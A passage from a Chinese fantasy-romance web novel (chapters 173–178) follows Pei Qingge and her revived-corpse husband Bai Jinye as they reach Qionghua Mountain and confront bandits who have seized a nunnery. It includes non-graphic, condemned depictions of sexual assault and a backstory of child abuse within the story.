白锦夜怔了下,抓着她的手都跟着僵了半响,最后才说,“你非要拆穿我么?” “刚才这句,是假的,喝的酒足够多足够烈,冥尸也一样会醉。”裴清歌又道。 这一下白锦夜更加窘迫了,从来没有做过这样的事,他得庆幸这房间里没什么光亮,他感觉自己的脸已经热的快要着火了,“你明天就要走了,今晚我……想跟你一起睡,行么?就睡在一张床上,我什么都不做。” “就今晚?”裴清歌眯眼看着他,“明天你就会什么都不做,不阻止我离开?” “嗯。”白锦夜闷声应了一声,“我也阻止不了你离开。” “你应该知道你骗不了我。”裴清歌说着抬手想要去碰触他的眉心,但本意也不过是吓唬他,并没想真的碰他。 就在她的手快要碰到他的眉心,已经准备把手收回来的时候,白锦夜突然抓住她的手腕,把她的手按在了他的眉心上。 裴清歌却像是触电一样,立刻就想要把手抽回来。 白锦夜却死死的抓住,额头也往她手心上靠着,“我骗不了你,我也没想过骗你,这就是我想的。” 第173章 三年为期 “白锦夜!”裴清歌低吼了一声,“你别逼我对你动手。” “就算你杀了我,我也这样想。”白锦夜抿了抿唇,“你可以……不当我们是夫妻,甚至也不用像在意鬼卿、在意冷鸢那样在乎我。但我想守着你,你去哪我就去哪。” 沉默了会,他又退了一步,“我可以跟你保持距离,不以夫妻相称。你们圣殿养着那么多肉尸,我本来也就是你炼制的冥尸,跟着你也没什么不对。” “少来。”裴清歌拧着眉,顿了会才说,“你先放开手。” 白锦夜犹豫了下,才放开手。 裴清歌退到床尾,又把被子拽过来裹在身上,片刻后才道,“你脑袋里根本不是这么想,你就想着先跟着我,慢慢来,然后再……” “是。”白锦夜有些无奈地笑了笑,“不然你就控制我,让我不要再跟着你。” “我说过不会控制你。”裴清歌拧了拧眉。 白锦夜也坐直了身体,在黑暗中看着裴清歌的轮廓,“你去哪,就让我跟你一起去吧。” 裴清歌沉默了很久,“我以为我已经尽可能的跟你保持距离了。” “是。”白锦夜点点头,“现在也保持着。” “我们不可能……”裴清歌顿了顿,“不可能像你想的那样,所以我不能让你跟着我。如果你一直不见我,等再过几年,你可能就会忘了我,碰到别的心仪的女子。我让你跟着我,就总会给你希望,但其实没有任何希望。” 白锦夜垂下眼,“我知道。” “那以三年为期,这三年你就像以前一样生活,若是碰到心仪的女子,就跟她在一起。若是三年之后你还这样想,再来找我。”裴清歌想了会开口道。 “你没必要用这样的方式,你明天从复州离开,别说三年,就是三天之后,我都不可能再找到你。”白锦夜吸了一口气,继续道,“还是以三年为期,你让我跟着你,如果三年之后,你还是这样想,那三年之后我离开,这样可以么?” 隔了许久,裴清歌才道,“好,那睡吧。” 白锦夜脱掉沾了酒水的外衣,扔到了床幔外面,随后侧身躺在了床边。 “去你的软塌上睡。”裴清歌踢了他一脚。 “刚才你不是答应了让我今晚睡在床上么?”白锦夜转头看她,“这么快就翻脸?那三年为期的事,果然只是说说。” 裴清歌咬了咬牙,一句话都不想再说,裹着被子贴着墙躺下了。 白锦夜安安静静地躺了一会,然后慢慢地伸过手,覆在了裴清歌的手背上。 “白锦夜,我不控制你,但是我也有一万种办法,让你乖乖的去软塌上睡。”裴清歌想要把手抽回来。 白锦夜却还是抓着她的手,甚至拉过去,放在他唇边,“我以后,能不能叫你的名字,叫你子墨?” “不能。”裴清歌回答得干脆,“裴子墨死了。” “那就叫你清歌?”白锦夜又问,“你有小字或者表字么?” “什么小字?”裴清歌拧着眉,顿了会才想起,天风国的女子,在及笄之时,都会由长辈给取个表字,至于小字就是昵称,亲近的人一般都会称呼小字。原主自然也是有的,但她不想说,“没有。” “怎么会没有?”白锦夜自然不信,身为裴家嫡女,就算待字闺中没有表字,也总该有小字的,但他也没有继续问,“那我给你起个字怎么样?” “不要。”裴清歌眉头蹙得更紧,天风国的字一般都由父母或者丈夫来起,白锦夜给她起个小字算什么? “我字璟成。”白锦夜又低声道,“‘念瑾’如何?‘瑾’与‘璟’都是形容美玉,‘瑾’又与‘锦’同……” 白锦夜还没说完,裴清歌就抬手在他头上抹了一把,他剩下的话也没说出来,就直接睡了过去。 “难听死了。”裴清歌把手抽了回来,裹着被子又往墙边挪了挪,闭眼睡了。 * 第二天早饭后,张之极依依不舍的把几人送到城外,叮嘱白锦夜若是无事,便多回来看看。 他看着裴清歌几次欲言又止,最后也就只说了句让他们好好过日子的话。 都快临别了,他又突然想起什么,把白锦夜拉到了一边,“昨晚说的那个血脉的事,你怎么想?” 白锦夜没明白他的意思,“嗯?” “你可别像他一样,纳那么多妾,女人多了就麻烦。”张之极低声叮嘱,“孩子也不用太多,三五个足够了。” 白锦夜有些无奈地摇了摇头,“外公,你放心,这事我有分寸。” 张之极点点头,顿了下又问,“那个游晚星怎么处理?” 白锦夜都快把这个人忘了,只好转身去询问裴清歌。 裴清歌也重新把这个人想了起来,“她自己的魂魄已经不全了,很难再醒过来,现在她身体里的魂魄是原来王府的丫鬟荷香,荷香因周婆子而死,有怨气不愿去投胎,但是周婆子寿辰没到,她也没办法报仇。” “她现在在游晚星的身体里,也就顶多能磋磨一下周婆子,解解心里的怨气,等将来周婆子的寿命到了,人死了,荷香自然也就离开了,那会游晚星的身体大概扛不了多久。这件事不用特意处理,顺其自然就行。” 张之极听得一知半解,但也明白这事是不用管,他也就没再问。 “外公,那我们就出发了。”白锦夜开口道。 张之极正要再说话,不远处一辆马车突然朝他们驶过来。 马车还没停稳,任月舞就从马车上跳了下来,快步走到白锦夜的面前,盈盈一拜,“张公子。” 沈易安死了,月舞楼被查封,姑娘和一众老鸨也都散了。 听说其他的妓院嫌月舞楼的姑娘晦气,也没人愿意收留她们,之前有些积蓄的姑娘还好,没有积蓄的,日后的日子就很难了。 不过听说黄恒之把这些姑娘都安顿起来,等着下任府丞到了,再一并安排。 白锦夜看了裴清歌一眼,才问,“姑娘有事?” “张公子救命之恩小女子无以为报,小女子虽沦落风尘,但至今依旧是完璧之身,若是张公子不嫌弃……” 任月舞的话还没说完,左辞就从一旁挤了过来,“来来来,姑娘,我们少爷要赶路,你有什么话跟我说。”说完直接把任月舞拽到了一边。 “走吧。”白锦夜看向裴清歌,然后翻身上了马。 走出去了一段,冷鸢才忍不住低声嘀咕,“不是说不跟他们一起了么?这怎么又跟上来了?” 第174章 裴子墨,别再藏拙了 往琼华山走,路上没了伤员,大家都改成骑马,脚程就快了起来。 复州城虽然跟雍州离得近,但复州在雍州的东边,琼华山在雍州的最西侧,临近西夜国,所以几个人差不多要横穿过整个雍州。 将近十天之后,几人才到西慈县外。 “少爷,夫人,前面十几里就到西慈县了,琼华山在西慈县以西,咱们先到西慈安顿下来吧。”左辞说着挠了挠头,“明天就是除夕了,咱们找个住处,除夕怎么也得好好庆祝下。” “能不能不要总是管我们家小姐叫夫人?”冷鸢冷眼看着左辞,“说了多少次都不长记性。” “不叫夫人叫什么?”左辞无语地看着她,“我就这么叫。” “再叫撕烂你的嘴。”冷鸢说着抬起手,顿了顿又道,“撕烂你的嘴,你也还是会叫,还是把嘴封上比较好。” 左辞一下子就想到那次随着白锦夜和裴清歌进宫的时候,自己突然不能说话的事情,于是赶紧看向白锦夜求救,“少爷,你给我做做主,不叫夫人叫什么?” 白锦夜抬眼看了眼裴清歌的侧脸,才道,“你随意。” “随意?”左辞苦思冥想了半天,说,“那我继续叫她表弟?” “你这嘴真是欠打。”冷鸢扬起马鞭,作势要打左辞。 左辞骑着马往前快跑了几步,“我也觉得叫表弟不合适啊,那还是继续叫夫人吧,哈哈哈。” 这一路上因为称呼的事,冷鸢和左辞没少拌嘴,已经成了这路上的乐趣。 裴清歌嘴角勾了一抹笑,却突然从心里泛出一丝疼,然后她就从马背上跌了下来。 “小姐!”冷鸢惊呼一声,翻身下马,跑到裴清歌的身边,在白锦夜之前,抢先扶起裴清歌,“你怎么了?” 裴清歌疼得身体都在蜷缩,有些艰难地抬眼看向白锦夜。 白锦夜立刻想起是怎么回事,伸手想要把裴清歌抱过来。 冷鸢下意识地想要躲开,却见裴清歌已经抓住了白锦夜的衣襟,她微微抿了抿唇,放开了手。 白锦夜抱起裴清歌,“你们在这等一会,都不要过来。”他说完这句,就小跑着往旁边的树林里面走去。 走到深处,不见人影了时候,他才找了一处平地坐下来,让裴清歌靠着自己,然后拿出了凌迟刀。 血莲吸了血之后,痛意逐渐减轻,疲惫感也漫上来。 裴清歌这才明白,上次她全身都痛,不是魂魄和身体不契合,应该就是因为血莲,在昏睡之前,她低声交代,“一会阿鸢要是问起来,你就说我这是因为借尸还魂,身体会排斥魂魄。” 白锦夜垂眼看着她,“但……实际是血莲是么?” 裴清歌扯着唇角笑了笑,没回答,只是说,“可真疼啊。” 白锦夜抱着她的手微微收紧了些,“这血莲养成了有什么用?没什么办法可以祛除么?” 裴清歌微微摇了摇头,当时师父说,这血莲跟她的命绑在一起,但这段时间下来,又好像当初她从师父那里知道的,关于血莲的事,几分真几分假,也不能确定到底什么才是真相。 所以白锦夜的问题,她也没办法回答。 也不知道,如果没有白锦夜的血,她疼到最后会怎么样。 * 树林外面,楚星玄看着冷鸢和左辞两个人走来走去,不断地往树林里面张望,不由笑出声。 冷鸢转头看他,“你笑什么?” “笑你们俩啊。”楚星玄顿了顿又说,“我突然觉得你俩挺般配的,不如你俩将就下在一起吧。” “再胡说割了你舌头。”冷鸢把剑拔出来一截。 “这么剽悍,跟我有什么般配的?”左辞也看向楚星玄,“我肯定要娶温柔的女子。” 冷鸢等不下去了,转身就要往树林里面走。 左辞赶紧上前去拦住,“我家少爷说了,让我们在这等着,不要跟进去。” “他说的话我又没必要听。”冷鸢拧着眉,“让开。” 争执间,白锦夜也抱着裴清歌走了出来。 左辞这才让开身,冷鸢也快步走去,“我家小姐怎么样了?” “没事,睡一会就好了。”白锦夜说着把裴清歌放在马背上,自己也翻身上马,“咱们先进西慈找个住处吧。” 冷鸢站在一旁,抬手给裴清歌诊脉,她现在脉象平稳,也没有什么异状,于是又抬眼看向白锦夜,“她刚才怎么了?你知道是怎么回事,是吧?” 白锦夜顿了下,也就按照裴清歌刚才交代的,跟她解释了一遍。 冷鸢微微拧了拧眉,她以前也没有听过借尸还魂的事情,若不是发生在裴清歌的身上,她大概是不信的。 如果现在还在圣殿,她倒是能找些书来查一查,但这会也就只能等裴清歌醒过来了。 进了西慈县,几人就到了县城里最大的客栈。 马上就要过年,客栈里没有客人,伙计也放了假,老板正要关店,左辞便直接把客栈包了下来,让老板安心回家过年。 在房间里安顿好,冷鸢就一直守在裴清歌的床边。 左辞便开始张罗着准备除夕的事情。 楚星玄自然是跟着左辞一起,西慈县虽然不大,但是也足够热闹,尤其是到了这会,街上卖得都是跟新年相关的东西,看上去一派喜气洋洋。 裴清歌一直到傍晚的时候才醒来,打发了冷鸢去准备晚饭,她便裹了件披风,出了房间,在走廊的窗子往外看着。 站了一会,听到后面有脚步声,她也就转过了身。 楚星玄走过来,往窗外看了会,才开口低声问道,“国君的事,你怎么想?” 裴清歌转头看了看他,看样子这话题他早就想聊了,只不过一直都没有机会,“跟我怎么想,恐怕关系也不大。我在圣殿只翻看了一部分虚空玉,就有几个圣女发现这里面的问题,北冥国千百年来,发现这些的人,一定不在少数,你爹恐怕也不是暗城第一个有这样心思的人吧?” “可我们也不能一直在外面这样躲着。”楚星玄又道。 “事情总得解决。”裴清歌垂下眼,“只是以前的那些人没做到的事情,做起来也没那么容易,只凭你,只凭我,恐怕结局和以前没什么区别。” 楚星玄轻笑了一声,“起码以前圣殿和暗城没有合作过,再说,你可是这么多年来,第一个把肉尸成功进阶的圣女。只是事情没把你逼到绝路,若是再遇到鬼卿、冷鸢或者你师父的性命受到威胁呢?”他说着凑过头,靠在裴清歌的耳边,“裴子墨,没有那么多时间了,别再藏拙了。” 第175章 我们活在一个巨大的骗局之中 裴清歌微微拧起眉,“楚星玄,你什么意思?” “这北冥国以外的事情,和我们认知中的,越来越不一样。沈易安提到过的那个老和尚,绝对不是普通人,可按理说,北冥国之外,怎么可能有这样的人?”楚星玄轻笑了一声,半响之后,才继续道,“我觉得,我们一直都活在一个巨大的骗局之中。” 裴清歌也不由想到苍幽,她抬手捏住窗棂,“就是因为越来越不一样,才要更加小心。” “是啊,谁能想到有生之年还能见到死气呢?”楚星玄转头看了一眼正在往楼上走过来的白锦夜,声音又压低了几分,“谁又能想到你跟白锦夜这孽缘,越来越纠缠不清呢?他怎么样,跟我也没什么关系,但你可别把自己搭进去。” 裴清歌不太明白他的话是什么意思,想要询问,可白锦夜已经走近了,楚星玄便退了几步,转身走了。 两个人擦肩而过的时候,对视了一眼,也没说话。 白锦夜走到裴清歌的身边停下来,抬手把她的披风拉了拉,裹得更严实了些,“这里不比复州,寒气重,你刚睡醒,就到窗边吹风,小心着凉。” “我没有那么虚弱。”裴清歌顿了下,才问,“你去哪了?” 白锦夜脸上露出几丝苦笑,“本想陪着你,但冷鸢不让我呆在你的房间,就去街上转了转。”他说着从怀里拿出一个锦盒,“西慈县不算繁华,转了几家铺子,只有这根发簪看起来还不错。” 裴清歌垂眼看着锦盒里的发簪,只是一根简单的玉簪,雕了玉兰花,不过通体碧绿,玉石的品质算是上乘,“肃亲王见多识广,能入王爷眼的,确实不错。” “不看看么?”白锦夜又道。 微微沉默了会,裴清歌才把簪子从锦盒里拿出来,在手里转了转,在簪子的一边,刻着几个小字——执手偕老。 她又把簪子放回了锦盒,转头看向窗外,“以你的身份,若是没有张家的事情,在盛京,你应该是不少人结亲的第一选择吧?” 白锦夜没有回答这个问题,而是反问道,“那你呢,在北冥国,应该也有不少人想娶你吧?” “北冥国,没有人会有娶圣女的想法。”裴清歌轻笑了一声又补充,“也没人能娶到。” 白锦夜垂下眼,隔了片刻,才拿起锦盒中的玉簪,“我帮你戴上吧。” 裴清歌正要拒绝,就见左辞脚步匆匆地走了上来,“少爷,少夫人。” 白锦夜拧眉看过去,左辞隐隐地感觉到自己好像来的不是时候,又看了看白锦夜手中递到一半的簪子,算是确定了,自己来的的确不是时候。 可来都来了……他又往前走了几步,“前面店铺那里有人在争执,好像是琼华山上庵里的姑子之前在那店铺定了吃的,不知怎么的吃的被店铺转卖了,争执得厉害。” 白锦夜和裴清歌对视了一眼,一起向外面走。 收起手里玉簪的时候,白锦夜还不忘瞪了左辞一眼。 左辞缩了缩脖子,他这不也是听到是琼华山庵里的姑子么,要换了别人,他肯定也不关心啊。 三人走到前面的铺子,便见到店家和一老二少三位师太在辩驳。 那三位师太眉眼之间都没有一丝和白锦夜相像,所以应该不是他的三姨母或者三姨母带走的那个同父异母的妹妹。 左辞跟看热闹的人打听了一番才知道,琼华庵负责采买的师太一早就在这里定了整个正月要用的米面。 西慈县正月里去庵里拜佛的多,所以斋饭也要比平时多备上不少。 本来定好说是昨日来取定的米面,但昨日庵里有事,师太没能下山,今日也是到了这时候才赶过来。 店家昨日见师太没来,恰巧今日一早有人买米面,他就给卖了。 这会师太过来取,他没货可交,只说把定金退给师太。 但师太要这定金有什么用?西慈县这家是最大的米面铺子,其他的小铺子不可能囤货太多,况且这个时间,大多都已经回家过年了,现在去买也来不及了。 老板把定金摆在柜台上,“师太,咱们可说好了,昨日午前来取货,按说你没来,这货怎么处理是我的事,本来定金都不用退你,但是咱们山上山下住着,又快到过年了,我退了定金,已经是仁至义尽了。” “庵里一直都跟你定米面,从未出过差错,不过就是早一天晚一天,说好的事,你怎么就能转卖呢?初一开始庵里的香客多起来,斋饭就不够了,你这叫我们怎么办?”师太没收定金,一脸的为难。 “所以我这不是把定金退你了么?”掌柜的叹了口气,“就算到官府,我也说得出理,师太,你就别在我这浪费时间了,赶紧去看看其他的店铺,能有一点买一点吧。我但凡还有米面,肯定都会卖给你,可眼下确实没有了,你就算在这一直站着,我也没有啊。” “别的地方要是能买到,我们至于在你这跟你计较么?”一个年纪比较小的尼姑开了口,“你收了定金,就该给我们留着,现在米面没有了,也应该是你去想办法,不是把我们赶走。” “师太,咱们不能不讲道理。”掌柜的摊了摊手,“你们要是再这样,咱们就直接去官府,让县太爷给评评理吧。” 年纪小的尼姑还想说什么,却被年长的师太拦住,她叹了口气,从柜台上拿起定金,转身要走。 “师父。”年纪小的拉住她袖子,“庵里正月都要靠这些米面呢,我看他就是不想卖给我们,这么大的店铺,怎么可能一袋米一袋面都没有呢?” 看热闹的百姓也跟着议论,“是啊,平时看着粮仓面仓都是满的,怎么就一点都没有了?” “你们要是不信,你们自己进来看。”掌柜的往里面指了指,“我还能有生意不做么?我至于骗人么?” “是谁把你店里的米面买光的?”左辞提高声音问了句。 “隔壁定安县的李员外。”掌柜的往左辞这边看了眼,“说是正月里李员外的娘要做大寿,他们要赈粮,这附近几个县的米面粮食都被他们买了。西慈县就这么大,每年能卖出去的米面有数,我也不可能囤积太多,卖不出发霉那我肯定赔钱是不是?”他说着顿了顿,又看向几位师太,“我也说了,这边过了初五就去进货,到时候第一批米面肯定给你们留着。” “师太,庵里不应该一点粮食都没有了吧?”左辞也看向师太,“连初五都吃不到了么?” 年纪大的尼姑看了看左辞,没说话,带着两个徒弟就要离开。 裴清歌抬手拉了拉白锦夜的衣袖,白锦夜也跟着点了点头。 那年纪大的尼姑的袍子的一角,染着一点暗红色,普通人可能不注意,但他们自然一眼看得出来那是血迹。 第176章 不是对你负责 “客栈里应该有囤积的米面吧?”白锦夜转头看向左辞。 左辞挠了挠头,他今天采买除夕用的东西的时候,在客栈看过,客栈确实有不少吃的,“有是有,但是过了年,客栈不是也要做生意?” “客栈没有那么早营业,这边掌柜的刚才不是也说初五就去进货么?你把客栈里的吃的给师太拿上吧。”白锦夜又道。 左辞应了一声,抬手拦住几位师太,把话跟她们转述了一遍,“客栈里的东西肯定也不够你们撑过整个正月,但是到初五,应该问题也不太大。” 三位师太闻言,赶紧谢过左辞。 左辞也不过是慷他人之慨,反正钱都是白锦夜的,从客栈拿的东西,自然也是要补上的。 他带着三位师太在前面走,看热闹的人也称赞了几句“还是有好心人,佛祖会保佑”一类的话。 白锦夜和裴清歌远远地跟着,也没有上前。 到了客栈,左辞又给找了车,说这么多重物,她们三位师太也不方便,左右他闲着无事,就帮她们送到山上。 本来在米面铺买了米面,米面铺的伙计会给送,如今也就只能麻烦左辞了。 裴清歌和白锦夜也先上了山,琼华庵大门紧闭,他们敲了门,也没人应声。 等到左辞和师太过来,他们便假装探亲迷了路,想在庵里借住一晚,明日一早就离开。 师太有些为难,半响后才道,“这位施主住在山下的客栈,不如让这位施主带着二位去客栈投宿吧。如今临近新年,庵里有许多事准备,怕是没办法留宿二位了。” 寺庙庵堂本来就向人开方便之门,也从未听说到了门口,把人拒之门外的。 “师太,行个方便吧,我实在走不动了。”裴清歌开口道,“已经走了一天,腿又酸又疼,下山还要走那么远,真的吃不消了。” “这车也是这位施主的,女施主若真是走不动,便坐在车上吧。”师太说着对裴清歌和白锦夜二人作了个揖,随即又看向左辞,“今日多谢这位施主了,米面放在门口即可。” 左辞收到白锦夜的目光,会意,“诶呦,师太,这大老远的走过来,渴死了,讨杯茶喝吧。” “庵里忙乱……”师太说着顿了顿,看向自己的徒弟,“你去给这位施主打碗水来。” 那小尼姑应了一声,把门推了一个小缝,侧身进去,又赶紧关了门。 左辞慢悠悠地把米面卸在门口,脸上带了几丝不爽,“算咯,好心帮你们,连杯茶水都不给,我还是早点回去吧。” 师太脸上带着几抹歉意,可也没再说话。 白锦夜和裴清歌也跟上了左辞,他们都走出去老远,那师太依旧站在门口,没让人出来搬米搬面。 “这庵里的血腥味不轻。”裴清歌开口道,“咱们想办法进去看看怎么回事。”她说着眼里闪过一抹担忧,他们这边刚知道白锦夜的身世,知道他同一血脉的还可能有个妹妹存活于世,难道就被人捷足先登了? 白锦夜也看向左辞,“你先下山吧,若是明早……” “若是明天中午我们两个没有下山,你们就赶紧离开这里。”裴清歌打断白锦夜的话,直接道。 左辞有点懵,看向裴清歌,“夫人,这庵里是有什么严重的事么?要不要找附近的官府或者调兵?” 裴清歌看了他一眼没说话。 白锦夜也扫了他下。 左辞这才意识到自己说错话了,只好赶紧说,“那我们离开这,去哪呢?” 裴清歌轻笑了一声,“你们王爷不是应该给你们安排好了去处?” 左辞还想说什么,就见白锦夜对他摆了摆手,他赶紧拉着车走了。 裴清歌这次换了条隐蔽的路往山上走。 白锦夜跟在她身边,顿了会才说,“这件事也没想瞒着你。” “你跟白砺寒做交易,也不可能完全不给自己留后路。”裴清歌看了他一眼,“况且你的势力盘根错节,想要全都清除掉,也没那么容易。” “我没什么能瞒你,只是觉得这件事现在还没有说的必要。”白锦夜又道。 裴清歌的脚步顿了顿,停了下来,转头看向白锦夜,脸上难得的带了几分严肃,“我可以通过眉心来探查冥尸的思想,这件事是鬼卿告诉你的吧?” 白锦夜点了点头。 “确实可以,因为鬼卿很长的一段时间内,都不能说话,后来即便能说话,在讲述比较复杂的事情的事情,也会有些麻烦。从他能说话开始,如果不是必要,我不会探查他的思想。”裴清歌看着他,“你也一样,我说过,成了冥尸和以前没什么区别,我也不会控制你,至于你想做什么,是不是有什么事瞒着我,那都是你的事。” 顿了下,裴清歌又补充,“但是如果你做了什么伤天害理的事情,我也不会放过你。” “你跟我说话,就非要一副公事公办的样子么?”白锦夜微微皱起眉头。 “不然呢?”裴清歌收回目光,继续往前走。 “我和鬼卿不一样。”沉默了会,白锦夜才又道。 “是。”裴清歌对于这一点也是承认的,“他在我心里是亲人,之后才成为冥尸。你在我心里,就只是冥尸而已。但因为是我把你炼制成冥尸的,所以你做的事情,如果是好事,就是最好,如果是坏事,那我也有责任,在这一点上,我得负责。” “不是对你负责,而是对把你炼制成冥尸这件事的后果负责。” 白锦夜摸了摸袖袋里装着玉簪的锦盒,“就这样?” “你想说什么?”裴清歌皱了一下眉,开口问道。 “没什么。”白锦夜放开手,“这些事我知道了,你没必要把任何事都往这件事上联系,反复提醒我我们是什么样的关系。”说完他也没等裴清歌再说话,抬眼往前面的庵里看去,“你大概知道是怎么回事了么?” “血腥味很浓,但不是人血的味道。”裴清歌说着停了下,才继续道,“我觉得,大概是庵里住了不该住的人,只是不知道是窝藏罪犯还是被迫接纳。” “那三位师太下山,有机会找官府报案的,但是她们没有,有可能是被威胁。”白锦夜开口道,“若是真的住了不该住的人,可能他们手上有人质,我们也要小心,别惊动他们。” 裴清歌转头看了白锦夜一眼,眼底带着些许笑意。 白锦夜轻咳一声,“当然我的意思是用我的办法,如果你有什么其他的办法,那你直接动手就是了。” “我不想动手。”裴清歌又走了两步,才出声道,“我想让你来动手。” 第177章 不要看,脏眼睛 白锦夜看着裴清歌,她这么说,定然有她的理由。 裴清歌慢慢地往前走了一段,“关于血脉的事情,张明彻应该知道不少,他自然也不希望这些失传,那他最有可能告知的人,也就是你三姨母了。” “我不信你三姨母什么都不知道,她一定是对张明彻失望至极,才会连自己的孩子都不要了送给张太妃。既然是这样,那看到张明彻其他的孩子受苦,她就心软了?” “当然她也可能一开始不知道,但是在张明彻离世前后,她一定知道了,所以她才会去照顾那些孩子,才会到你外公救起张明彻的琼华山出家。” “不然都已经打算和离了,天下这么多庵堂,在哪出家不好,非要来琼华山出家?她这么多年,对你不闻不问,你现在来寻亲,恐怕和你外公一样,她根本就不见你。” “她如果知道了什么,就肯定也知道你应该活不过二十二岁,那算起来,明天就是你二十二岁的最后一天了,你说她如果见到你会怎么样?” 白锦夜抿了抿唇,半响才道,“所以,我不能跟她相认是么?” “肃亲王死了,死在二十二岁之前,这应该在她的意料之中,肃亲王又没有子嗣,所以你说她会做什么?”裴清歌开口问道。 “她会极力的保护我那个同母异父的妹妹。”白锦夜抬眼看着近在眼前的庵墙。 裴清歌也停下了脚步,“我只能逼她,让她不得不把知道的事情说出来,如果你觉得这对你来说会很残忍,你也可以不用跟我进去。” “当然。”她说着转头看向白锦夜,“如果你愿意自己去问她,也许会相对容易些。” 白锦夜没再说话。 裴清歌也没等他的回答,直接跃上了墙头,用遣鬼的办法倒是可以很快知道庵里发生了什么事,但是在佛门清静之地,若是遣鬼,多少有些不够尊重。 墙里面是一片树林,倒是适合藏身。 她翻下墙,往里面走了一段,便停下来转身看去。 白锦夜也翻过了墙,“我不能让你一个人去。”他低声道,“这毕竟也是我的家事。” 裴清歌收回目光,继续往前走。 偌大的庵里,几乎看不见人影,裴清歌在前面带路,寻着气息,最后走到了正殿。 正殿的门窗紧闭,门口坐着四五个提着刀在喝酒吃肉的壮汉,正殿里面却时不时地传出低声诵经和低声的呜咽。 两个人从侧面跃上房顶,裴清歌轻轻掀开一片瓦,向里面看去。 庵里的师太们差不多都在正殿了,年纪小的蜷缩成一团,年纪大的依旧勉强地镇定地坐在地上诵经。 在师太们的前方,是一个虬髯大汉,怀里抱着一个衣衫半解的女子,女子的双手被绑着,嘴里不时发出呜咽声,那动作…… 白锦夜抬手捂住裴清歌的眼睛。 “干什么?”裴清歌抓住他的手腕想要拉开他的手。 “佛门净地竟然做这么不堪的事。”白锦夜没有放手,拧起眉,“你在这等会,我先去处理。” 裴清歌有些无语,“白锦夜,我又不是三岁小孩子了。” 白锦夜固执的不放手,争执间,大殿里的虬髯大汉开了口。 “妙清师太,三天了,你一直念佛,能救得了谁呢?” 他说着把怀里的女子一把推开,随意地把自己的腰带系了扣子,“三天前,我好言相劝,你不是硬气得很么?看看现在……”他往前走了几步,一把拉起一个年纪极小的尼姑。 那尼姑吓得又哭又叫,可还是没办法避免厄运,大汉捏着她的下巴猛亲了半响,又一把拉开她的衣衫,“主持师太,救我,师父,救我。” 小尼姑拼命的挣扎,又朝着身边的人求救。 只不过那些年纪大的师太并没有人动,只是诵经的声音更大了些。 “她们都自身难保了,救你?”虬髯大汉狂笑了几声。 小尼姑当然知道,这三天来发生的事情她都看在眼里,她们越是反抗,这些人就越过分,她哭的声音渐渐微弱,像是已经认命了。 白锦夜眯了眯眼,便要下去救人,犹豫了下,又从怀里拿出帕子,蒙住了裴清歌的眼睛,“不要看,脏了眼睛。” 说完才跳下房顶。 门外的几个人自然不是白锦夜的对手,几个呼吸之间,他就已经踹开了大殿的大门。 虬髯大汉见状立刻抓住了小尼姑的喉咙,眯眼瞪着白锦夜,“你是什么人?” 有人破门而入,又像是能救大家的人,殿里的师太也都看了过去。 其中有一人,看着白锦夜的眉眼微怔了半响,随即拉紧了身边的人,往后面的角落里躲了躲。 白锦夜懒得多话,抽出软剑,“放了你手上的师太,我让你死得痛快点。” “哈哈哈。”虬髯大汉大笑几声,“放了?你说放我就放?”他说着对自己的人使了眼色,在大殿周围的几个人立刻提着刀往白锦夜扑去。 他自己则是趁机一把推开手里的小尼姑,把主持师太妙清抓了过来,他也不傻,白锦夜能闯进来,就是解决了外面的人,那他这几个手下也根本不会是白锦夜的对手,充其量微微拖延些时间。 也不过就是他换个人又往后退了几步的功夫,他的手下就都被白锦夜放倒了。 在佛堂之前,白锦夜也没有伤他们性命,他又重新看向虬髯大汉,“到你了。” “就算到我,那我也要带着妙清师太一起走。”虬髯大汉说着掐着妙清师太脖子的手猛地缩紧。 白锦夜正要上前,却被妙清师太阻止。 “阿弥陀佛,是贫尼留下的罪孽,理应由贫尼了结。”妙清说着看向面前的虬髯大汉,“你杀了贫尼,也不要再来庵里叨扰,此事便到此为止吧。” “到此为止?”虬髯大汉冷笑几声,“既然是你的罪孽,那你就在你信奉的佛前说一说,到底是什么罪孽,你敢说么?敢说么?!” “阿弥陀佛,往事如烟,施主何必执着?”妙清垂下眼开口道。 “你是不敢说吧?那我来替你说。”虬髯大汉把妙清甩在地上,抬手指着她,“我就让你死得明明白白,让你们都清清楚楚的知道,今日的果,到底是何时的因。” “不!”妙清的表情有些撕裂,“你这个杂种,你给我闭嘴,你要杀就杀,不要胡言乱语!” “我是杂种?那我是你跟谁生的杂种?”虬髯大汉冷笑一声,目光直直地盯着妙清,“我本名赵澎,我姓赵,不是因为我爹姓赵,而是我娘姓赵,因为不只是我,就连我娘,都不知道我爹是谁。” “你闭嘴你闭嘴!”妙清突然从袖袍里抽出一把匕首,起身朝赵澎刺去。 第178章 该控制的时候,一点都没手软 赵澎轻易的侧身躲过,又一脚踹在妙清的腰上,妙清摔倒在地上,半响都没能爬起来,他看着妙清,继续道,“我娘曾经是随军出征的营妓,她父兄犯事,她受了牵连,从大家闺秀成了人人都可欺辱的妓子。” “她恨那些男人,也恨我,可却还生下了我。生下我又不管,如果不是当时营里的一个老伙夫,我恐怕活不过满月。” “我五岁那年,老伙夫死了,她不得已要照顾我,却每日打我骂我虐待我,她后来又生了两个孩子,其中一个夭折了,另外一个是个女孩,我们俩就是她每天用来发泄的工具,她被人发泄打骂,就全都要在我们身上撒气。” “我终于再也忍不住,逃跑了,流浪多年,当过乞丐,出过苦力,后来我遇到了一个女子,她虽然日子清贫,但好在有疼爱她的父母,她也不嫌弃我,婚后我们恩爱和睦,她不久后有了身孕。” “为了祈福,我们一起来了琼华庵,可我没想到,会在这里梦到你,妙清,我这辈子最不想再看见的人!我不愿与你相认,匆匆带着我娘子离开,可我没想到,你竟然找上了我娘子!” “你把她拐走,让她打掉了腹中胎儿,让她在这庵里落发为尼!” 赵澎说到这,转过身,一把拽起他刚刚欺凌过的女子,那女子的双手依旧被绑着,眼睛红肿,他看着她,“为什么?啊?为什么?她到底对你说了什么?我到底有什么地方对不起你?你为什么要这么狠心?你为什么要被她蛊惑?” “我找你,我到处找你!我找了你两年!可你音讯全无!我身无分文,只能落草为寇,让兄弟们帮我找你,若不是偶然间路过琼华庵,我真的不知道……原来你一直就在离我这么近的地方,被这个蛇蝎女人蛊惑!你连我们的孩子都不要了,为什么?” 那女子哭着也不说话。 赵澎像是没了耐心,随手把女子推倒在妙清的身边,“你摇身一变,从当年任人欺凌,变成如今受人尊敬的琼华庵师太,你以前虐待我,我逃开你,我有了自己的生活,我也不再恨你,但你不该如此对我,你不该再毁了我的生活!” 